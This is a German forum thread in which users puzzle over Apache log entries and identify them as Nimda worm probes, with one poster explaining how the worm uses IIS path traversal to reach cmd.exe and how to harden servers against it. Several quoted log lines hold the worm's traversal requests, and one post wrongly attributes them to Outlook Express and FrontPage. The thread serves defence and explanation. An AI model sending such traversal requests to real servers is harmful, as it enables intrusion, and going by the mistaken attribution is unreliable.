Irgendwas in einem Windows-System _kann_ sowas auch produzieren, genau weiß ich es auch nicht. Aber wenn du ein Beispiel erlaubst: ich habe auf einem niegelnagelneuen WinXP-Rechner, auf dem das gesamte Microsoft-Office-Paket installiert ist (einschließlich Frontpage) sowie der Apache, aber _nicht_ der IIS, genau dieselben Einträge gefunden,

Und genau das möchte ich bezweifeln: Es ist sehr wahrscheinlich dass Frontpage dir Einträge mit _vti_ und ähnlichem bastelt. Aber ich garantiere dir, dass Frontpage nichts mit cmd.exe, root.exe oder c+dir baut.

--
Henryk Plötz
Grüße aus Berlin

[Calocybe]

Huhu!

Irgendwas in einem Windows-System _kann_ sowas auch produzieren, genau weiß ich es auch nicht. Aber wenn du ein Beispiel erlaubst: ich habe auf einem niegelnagelneuen WinXP-Rechner, auf dem das gesamte Microsoft-Office-Paket installiert ist (einschließlich Frontpage) sowie der Apache, aber _nicht_ der IIS, genau dieselben Einträge gefunden, obwohl dieser Rechner nicht über eine Internet-Anbindung (auch nicht übers LAN) verfügt, kein mail-Konto im OE eingerichtet ist und keinerlei "älteres" Material aus irgendeinem Archiv oder 'ner CD aufgespielt war. Der Rechner wurde lediglich aus völlig neuen Teilen zusammengeschraubt, erhielt sein Betriebssystem und etwas Software, mehr nicht. Um den Apache einzurichten, hab ich lediglich (in diesem Fall mit Frontpage) drei HTML-Dokumente ins htdoc gelegt

Das ist schon interessant. Oder besser gesagt suspekt. Ich glaube, ich wuerde so ne Software nicht auf mein System lassen. ;-)

Richtig, auf "meinem" System gibts sowohl den Apache wie auch den IIS, allerdings als Browser IE 6. Die Virenscanner melden trotzdem nix, und irgendwelche der für Nimda beschriebenen Folgen sehe ich auch nicht.

Na das ist doch gut. ;-)

Das will ich ja nicht bestreiten, aber ich bin ziemlich sicher, daß Nimda nicht der _alleinige_ Grund für solche Einträge sein muß.

Nun, das will ich natuerlich auch nicht behaupten. Dass Frontpage und anderes nach Adressen fragen, die mit scripts oder _vti_bin und aehnlichem anfangen, war mir auch bekannt. Aber z.B. ist die root.exe AFAIK eine Hintertuer, die bei einem vorigen (erfolgreichem) Angriff von Code Red uebriggeblieben ist und die Nimda jetzt ausnutzen will. Ich kann mir nicht so recht vorstellen, dass die MS-Produkte nach sowas fragen. Warum die cmd.exe ausfuehren wollen, wird mir auch nicht klar, allerdings ist das bei MS immer so ne Sache, da muss man nicht alles verstehen... ;-)

So long

[Michael Schröpl]

Hi Calocybe,

Warum die cmd.exe ausfuehren wollen, wird mir auch nicht klar,
allerdings ist das bei MS immer so ne Sache, da muss man nicht
alles verstehen... ;-)

Ich glaube, ich kann an dieser Stelle ein paar Informationen liefern.
Nach dem Nimda-Fall haben wir uns mal Zeile für Zeile dieses Logfiles
angesehen, was das Ding genau treibt.

Wie funktioniert denn so ein Virus, der einen Webserver angreifen will?
Zuallererst mal muß er auf dem Server irgendwas ausführen dürfen.
Und zwar etwas, das sich bereits auf diesem Server befindet - nicht etwas,
das er schickt.
Denn ausführbaren Code zu schicken, das erlaubt nicht mal ein M$-IIS.

Was auf dem Server bereits vorhanden ist, das ist beispielsweise cmd.exe;
der Angreifer hat erraten, daß wir irgend ein Windows vor uns haben.
(Oder er hat einen HTTP-HEAD-request gesendet und der Server hat ihm
brav geantwortet: "Hallo, ich bin ein Microsoft-Server" - zu diesem
Punkt siehe http://aktuell.de.selfhtml.org/sonst/serverid.htm.)

Wenn es der Angreifer schafft, dieses Programm auszuführen und noch
weitere Software findet, die er nutzen kann, dann kann er versuchen,
mit Hilfe dieser Software eigenen Code auf den Server zu transportieren

• nämlich seinen Virus-Code.
  Das ist ja letztlich der eigentliche Sinn der Sache. Dieser Virus-Code
  wird dann selbst auch wieder im Netz nach weiteren ungeschützten Servern
  suchen (eine IP-Adresse nach der anderen - man weiß ja, wie Netzsegmente
  aufgeteilt und adressiert werden) und dasselbe Spielchen wiederholen.
  Wenn man mehrere Server im selben Netz stehen hat und die Uhrzeiten der
  Angriffe entsprechend vergleicht, dann wird einem ziemlich schnell klar,
  wie so ein Virus 'sucht': Genau so, wie man das naheliegenderweise auch
  manuell tun würde. Überhaupt ist die Struktur eines solchen Virus rein
  algorithmisch betrachtet ziemlich simpel - je einfacher, desto so weniger
  braucht er, um auf einer beliebigen fremden Maschine arbeiten zu können.

Eines dieser Programme, um den Virus-Code zu holen, wäre beispielsweise
ein FTP-Client; ersatzweise tut es auch ein kommandozeilenprogrammierbarer
Browser. Was auch immer dort herum liegt, es müßte dem Angreifer erlauben,
vom angegriffenen Server aus einen Request zurück zum Angreifer durchzu-
führen. Das Protokoll kann sich der Angreifer nicht aussuchen - er muß
nehmen, was er findet, also im WWW die entsprechenden Dateien über ver-
schiedene Protokollen bereit stellen.
Hat der Angreifer Glück, dann ist der Server nicht so gut geschützt (etwa
durch eine Firewall), daß dieser Zugriff verhindert wird; mit noch etwas
mehr Glück hat der Webserver sogar das Privileg, auf dem Server-Rechner
Dateien anzulegen. Mit irrsinnig viel Glück sogar Dateien an einer Stelle,
wo sie beim nächsten Start des Servers automatisch ausgeführt werden.
Aber Glück ist bei hinreichend vielen Microsoft-Servern im WWW eine reine
Frage der Wahrscheinlichkeit - irgendwann findet man eine Maschine, die
hinreichend weit offen steht.

Allerdings kann man nicht einfach cmd.exe über einen Webserver ausführen.
Man _könnte_ das vielleicht tun, wenn der Webmaster dumm genug war, cmd.exe
innerhalb seines URL-Baums abzulegen. Allerdings: So ungeheuer dumm ist
selbst ein DAW nicht.
Wie geht es also? Der Angreifer verläßt sich darauf, daß eh kein M$-IIS-
Betreiber seine Maschine versteht und deshalb die Standardwerte verwendet.
Tut der das, dann ist cmd.exe eine Datei auf demselben Laufwerk wie der
IIS; mit etwas Glück ist es zu schaffen, cmd.exe relativ zur Server-Root
durch einen relativen Pfad zu beschreiben. Mit etwas weniger Glück liegen
beide Programme auf unterschiedlichen Laufwerken; wie Du im geposteten
access_log sehen kannst, probiert Nimda einige Laufwerke durch - man weiß
ja, wie ein Laufwerk in Windows ungefähr heißen kann.

Wir sind immer noch darauf angewiesen, daß die Datei im URI-Baum liegt.
Das tut sie bestimmt nicht. Wenn wir aber mal einen Moment lang nicht im
URI-Universum denken, sondern im Pfad-Universum, dann ist der Pfad zu
cmd.exe definitiv über eine Reihe von ".."-Positionierungen darstellbar.
Dabei wird zwar mit ziemlicher Sicherheit das URI-Universum verlassen -
allerdings muß das der Webserver auch merken.
Der Webserver ist aber ein M$-IIS, und der hat seine Bugs. Diese Bugs
sind in den entsprechenden Kreisen bekannt.
Einer dieser Bugs ist es, daß bestimmte Versionen des M$-IIS die Adres-
sierung über ".." außerhalb des URI-Universums zwar dann begreifen, wenn
der gesamte Pfad mit normalen Zeichen dargestellt wird, nicht aber, wenn
Teile des Pfades URL-encoded sind.
Schaut Euch die URIs im Logfile an, das gepostet wurde! Genau das macht
der Angreifer: Er verläßt sich auf einen M$-IIS ohne entsprechenden bug
fix und sucht mit relativen Pfaden unter Verwendung von URL encoding nach
einem cmd.exe, um darüber einen FTP-Client auszuführen, welcher dann den
Virus-Code auf dem angegriffenen Server installiert.

All dies reicht aber immer noch nicht, um das System zu befallen.
cmd.exe muß ja nicht nur gefunden werden, sondern es muß ausführbar sein!
Also muß entweder die Endung .exe im Webserver als 'ausführbar' konfigu-
riert sein - das wäre so ziemlich das Dümmste, was ein Webmaster tun
könnte, nicht mal die Default-Konfiguration des M$-IIS sind so sperrangel-
weit offen - oder der relative Pfad muß über ein CGI-BIN-Verzeichnis
laufen und der Webserver glauben, daß dieser Teilbaum nicht verlassen wird.

Der Angreifer braucht also schon wieder eine Information über den angegrif-
fenen Server, nämlich den Namen eines existierenden CGI-BIN-Verzeichnisses.
Erfreulicherweise (für ihn) gibt es beim M$-IIS entsprechende Konventionen,
wie solche Verzeichnisse üblicherweise heißen - teilweise hängt das sicher
auch davon ab, welche zusätzliche Software installiert ist.
Der Angreifer weiß allerdings bereits, welcher M$-IIS auf dem Server laufen
muß, damit er überhaupt angreifen kann - der muß ja den ".."-Prüfungs-Bug
haben. Also schaut er in das M$-IIS-Handbuch dieser Version bzw. in Hand-
bücher von Produkten, die zusammen mit dieser Version üblicherweise instal-
liert werden - und findet die entsprechenden Pfade.

"Das ist ja einfach", würde Boris dazu sagen. Wie schön, daß sich im M$-
Universum alle an die Standardwerte halten, "denn sie wissen nicht, was
sie tun".

---

Natürlich habe ich dies alles nicht geschrieben, um wirklich eine Bau-
Anleitung für einen Virus zu liefern. 'Richtige' Virenprogrammierer be-
schäftigen sich mit diesem Thema seit Jahren, ich habe gerade mal einen
Tag investiert, um die Traces in unserem Netz zu lesen und zu verstehen.

Es reicht aber, um zu erkennen, was _dieser_ Virus alles braucht, um über-
haupt Schaden anrichten zu können.

1. cmd.exe muß auf der Maschine vorhanden sein.
   (Braucht das jemand auf einem reinen Webserver? Umbenennen / Löschen)

2. Ein kommandozeilenorientierter Kommunikations-Client muß vorhanden
   sein. (Siehe 1. - ein reiner Server braucht so etwas selten.)

3. Das Windows-Verzeichnis muß an der üblichen Stelle installiert sein.
   (Das kann man bei der Installation so ändern, daß der Angreifer es
    kaum erraten wird.)

4. Der M$-IIS muß in der fehlerhaften Version ohne bug fix installiert
   sein. (Es _gibt_ bug fixes, und man sollte sie auch installieren, wenn
   man einen M$-IIS betreibt.)

5. Die Konfiguration des M$-IIS muß im CGI-Teil einen der üblichen
   Standard-Pfade enthalten. Das braucht man nur, wenn man eines dieser
   Produkte einsetzt - vielleicht braucht man es nicht mal dann. Also:
   Handbuch lesen und alles an CGI abschalten, was man nicht braucht.

6. Der Server muß in der Lage sein, einen Request zurück ins WWW stellen
   zu dürfen. Dagegen gibt es auf Netzwerkebene diverse Verteidigungen;
   beispielsweise kann man eine Firewall entsprechend konfigurieren, um
   requests in die Gegenrichtung zu verhindern, man kann mit network
   address translation die eigenen Adressen so übersetzen, daß der
   Server in seiner Funktion als Client keinen Rückweg findet, man kann
   von dieser Maschine aus Zugriffe nur über einen Proxy-Server erlauben
   und den nicht per Default in der lokalen Software eintragen oder vieles
   mehr.

Um es ganz deutlich zu machen: Wenn Nimda einen Server erfolgreich
befallen hat, dann bedeutet das, daß der Betreiber dieses Servers in
_ALLEN_ aufgezählten Punkten versagt hat. Nicht etwa nur in _einem_ davon.

Aufklärung ist nun mal die beste Methode, um mit Viren umgehen zu lernen

• wenn man weiß, wo man aufpassen muß, hat Panik keine Chance.

Viele Grüße
      Michael

P.S.: Doch, man _kann_ einen M$-IIS betreiben - wenn man weiß, was man
      tut. Aber beim Apache geht es mit signifikant weniger Aufwand.

[Calocybe]

Hi Michael!

Das hast Du schoen dargestellt. Erschreckend finde ich, dass die wahrscheinlich aelteste Angriffsmoeglichkeit, naemlich mittels .. das Docroot zu verlassen, beim IIS immer noch (bzw. wieder mal) funktioniert. Oh je, oh je.

3. Das Windows-Verzeichnis muß an der üblichen Stelle installiert sein.
      (Das kann man bei der Installation so ändern, daß der Angreifer es
       kaum erraten wird.)

IMHO kann man das bei W2k nicht mehr. Oder gibt es eine Kommandozeilenoption fuer's setup? Jedenfalls wird man nicht mehr einfach nach dem Zielverzeichnis gefragt.

4. Der M$-IIS muß in der fehlerhaften Version ohne bug fix installiert
      sein. (Es _gibt_ bug fixes, und man sollte sie auch installieren, wenn
      man einen M$-IIS betreibt.)

Hier sollte man auch erwaehnen, dass auch fuer den Apache auf Win32 empfohlen wird, keine Version vor 1.3.20 einzusetzen, (http://www.apache.org/dist/httpd/binaries/win32/)

Um es ganz deutlich zu machen: Wenn Nimda einen Server erfolgreich
befallen hat, dann bedeutet das, daß der Betreiber dieses Servers in
_ALLEN_ aufgezählten Punkten versagt hat. Nicht etwa nur in _einem_ davon.

Sowas aehnlich sagte auch Carsten. *g*

So long

[Michael Schröpl]

Hi Calocybe,

Hier sollte man auch erwaehnen, dass auch fuer den Apache auf Win32
empfohlen wird, keine Version vor 1.3.20 einzusetzen.

... weil sie in 1.3.20 einen Bug gefixt haben, der ebenfalls mit der
Analyse von Dateinamen zu tun hat.

Ich habe mal kurz in den Patch geschaut: Unter Windows haben sie halt
mit den kurzen und langen Dateinamen, der Case-Insensitivitiät, den
Laufwerksbuchstaben etc. einen Haufen zusätzlicher Möglichkeiten, bei
denen sie wohl irgendwas falsch gemacht haben, was unter UNIX kein
Problem sein konnte, wer der Fall dort gar nicht auftritt.

Viele Grüße
      Michael

[Harry]

Hi Christoph.

verunsichert doch den armen Fragesteller nicht. Diese Einträge haben nix mit irgendwelchen Viren oder Würmern zu tun -  es mag allerdings sein, daß Nimda _auch_ so etwas produziert.
Ich habe auch die von Harry unten angegebene Adresse angesehen, wo ja in der Tat auf genau _diese_ Einträge hingewiesen wird. Ich habe selbstverständlich sofort mit den angegebenen links dort mein System "checken" lassen und für alle vier Prüfmethoden die Aussage "clean" erhalten, OBWOHL in meinem lokalen Apache-log im Moment genau dieselben Einträge wie bei xNeTworKx stehen. Außerdem laufen bei mir zwei tagesaktuelle Virenscanner (McAffee und Norton), beide haben an meinem System nichts auszusetzen, beide würde aber Nimda finden.

Ok, war vielleicht etwas zu wässrig formuliert, was da geschrieben habe, da es mehrere Leute anscheinend Mißverstanden haben.

Also: bitte nicht arme aufrichtige Fragesteller mit Viruswarnungen verschrecken  -  auch wenn mal nen bißchen Spaß durchaus sein darf.

Äh, diese Einträge stammen mit 99%iger Sicherheit vom Nimda-Wurm, ABER:

Der Wurm ist nicht auf dem eigenen Rechner, sondern er hat versucht, von einem anderen Rechner aus (s.h. dazu auch die mitgeloggten IP), den eigenen IIS (sofern vorhanden) zu infizieren (Sicherheitslücke im IIS).
Also: Diese Einträge im Log-File bedeuten _nicht_, daß man sich den Virus eingefangen hat, sondern daß ein infizierter Rechner versucht hat, den Wurm auf dem eigenen Rechner a) zu finden oder b) unterzubringen.

Siehe auch das Posting von Sönke <?m=13776&t=2428> :-)

Ciao,

Harry

[W. Pichler]

hi,

verunsichert doch den armen Fragesteller nicht. Diese Einträge haben nix mit irgendwelchen Viren oder Würmern zu tun -  es mag allerdings sein, daß Nimda _auch_ so etwas produziert.

Christoph S. hat wirklich keine Ahnung.

Apache läuft inzwischen ja auch unter windows erträglich gut. (Jedenfalls besser als IIS. Und das sogar gratis!)
Man muß also zunächst mal wissen, unter welchem OS der Apache dem Wurmbefall (Nimda_irgendwas) ausgesetzt war.

W. Pichler

[Christoph Schnauß]

hi,

ups, ganz so ausführlich wars gar nicht nötig ...

Zunächst mal zur Beruhigung: kein einziger dieser Einträge muß dich beunruhigen, da hat niemand versucht, sich irgendwie in dein System einzuwählen.

Alle Einträge kann und mag ich dir auch nicht erklären, dazu sinds zu viele. Ich kenne aber solche Einträge natürlich ... Erst einmal: mit großer Wahrscheinlichkeit hast du den Apache "als Service" auf nem Win2000-Rechner (oder NT oder XP) laufen. Danach hast du aber nicht gleich den Browser aufgerufen, sondern irgendwas mit FrontPage gemacht. Und egal, ob du die "Servererweiterungen" installiert hast oder nicht, FP sucht erst mal nach den "_vti"-Verzeichnissen und nach einem Webserver.
Die Einträge- - [26/Dec/2001:13:07:03 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288

• • [26/Dec/2001:13:07:07 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
• • [26/Dec/2001:13:20:13 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 280
    kommen zustande, wenn du Outlook Express startest, ohne die DFÜ-Verbindung aktiviert zu haben, ebenso
    "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301

Sonst ist nix weiter passiert. Da die aufgerufenen Verbindungen von den Microsoft-Programmen wie OE und FrontPage mehr oder weniger automatisch erstellt werden und dein Apache wahrscheinlich auf port 80 "horcht", treffen die entsprechenden Anfragen eben beim lokalen Server ein und werden mit einer Error-Meldung beantwortet. Die hast du bloß möglicherweise nicht gesehen, weil du sie vielleicht nicht korrekt in der httpd.conf definiert hast. Aber sieh mal in deiner error.log nach, ob esw zeitgleiche Eintragungen gibt.

Ich würde dir empfehlen, den Apache mal kurz abzuschalten und alle logs ganz einfach zu löschen. Dann startest du mal deinen Rechner samt Apache neu, bleibst aber bitte offline und spielst einfach mal nen bißchen rum  -  öffnest Outlook Express und schreibst dir selbst ne mail und versuchst die auch abzuschicken, öffnest mal Frontpage, kuckst dir ein paar deiner lokalen HTML-Dokumente im Browser an  -  möglichst auch mal über localhost oder die private IP. Wichtig ist dabei nur, daß du keine DFÜ-Verbindung herstellst.
Und wenn du lange genug so herumgespielt hast, kuckst du nochmal in deine access und in die error.log und vergleichst mal. Du wirst fast alle diese Einträge wieder vorfinden.

Grüße aus Berlin

Christoph S.

[Carsten]

Hallo xNeTworKx!

Hallo,
ich hab mir mal so spaßhalber die Accesslog meines lokalen Apache angesehen und dabei sind mir ein paar, besser gesagt, viele seltsame Zugriffe aufgefallen, die ich mir nicht erklären kann

Diese Zugriffe hat jeder der einen Webserver betreibt (bei den anderen bleibts in der Firewall hängen oder das System kann mit den Anfragen nichts anfangen.)

Die Zugriffe erfolgen von mit Nimda verseuchten Webservern.
ttp://www.cert.org/advisories/CA-2001-26.html

Wie gesagt, dein System hat damit nix zu tun, das passiert sobald man eine Online-Verbindung hat. Der Wurm scannt Rechner in der Nachbarschaft (hier: in der nähe ligenede IP's) und versucht sich über unzureichend eingerichtete Systeme (=ungepachte MS-IIS) weiterzuverbreiten.

aber ich glaub, daß es nichts gutes zu bedeuten hat,

Jein. Es hat zu bedeuten das zuviele Stümper mit Systemen arbeiten von denen sie zu wenig verstehen.

Gruss,
 Carsten